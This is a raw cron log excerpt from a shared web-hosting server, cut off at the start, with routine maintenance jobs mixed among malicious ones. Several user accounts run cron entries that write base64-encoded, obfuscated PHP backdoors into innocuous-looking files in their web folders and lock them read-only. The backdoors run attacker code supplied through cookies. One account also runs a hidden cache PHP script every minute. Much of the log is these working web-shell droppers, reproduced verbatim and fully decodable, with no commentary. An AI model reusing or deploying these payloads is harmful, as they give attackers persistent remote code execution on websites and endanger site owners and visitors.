ildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:14:01 medusa CROND[24222]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:15:01 medusa CROND[13311]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 08:15:01 medusa CROND[13313]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 08:15:01 medusa CROND[13346]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:15:01 medusa CROND[13381]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 08:15:01 medusa CROND[13459]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 08:15:01 medusa CROND[13460]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 08:15:01 medusa CROND[13463]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 08:15:01 medusa CROND[13465]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 08:15:01 medusa CROND[13464]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 08:15:01 medusa CROND[13469]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:15:01 medusa CROND[13470]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:15:01 medusa CROND[13468]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 08:15:01 medusa CROND[13472]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 08:15:01 medusa CROND[13473]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 08:15:01 medusa CROND[13471]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:15:01 medusa CROND[13476]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:15:01 medusa CROND[13489]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Mar  1 08:15:01 medusa CROND[13490]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:15:01 medusa CROND[13494]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:15:01 medusa CROND[13491]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:15:01 medusa CROND[13477]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 08:15:01 medusa CROND[13500]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 08:15:01 medusa CROND[13467]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 08:15:01 medusa CROND[13496]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 08:16:01 medusa CROND[3419]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 08:16:02 medusa CROND[3504]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 08:16:02 medusa CROND[3505]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 08:16:02 medusa CROND[3506]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:16:02 medusa CROND[3508]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:16:02 medusa CROND[3509]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:16:02 medusa CROND[3511]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:16:02 medusa CROND[3514]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:16:02 medusa CROND[3515]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 08:16:02 medusa CROND[3516]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:16:02 medusa CROND[3520]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:16:02 medusa CROND[3521]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 08:16:02 medusa CROND[3524]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:16:02 medusa CROND[3525]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 08:17:01 medusa CROND[24668]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:17:01 medusa CROND[24690]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:17:01 medusa CROND[24691]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 08:17:01 medusa CROND[24692]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 08:17:01 medusa CROND[24693]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:17:01 medusa CROND[24694]: (firadio) CMD (php -q /home/firadio/public_html/phplist/admin/index.php -pprocessqueue -c/home/firadio/public_html/phplist/config/config.php >/dev/null)
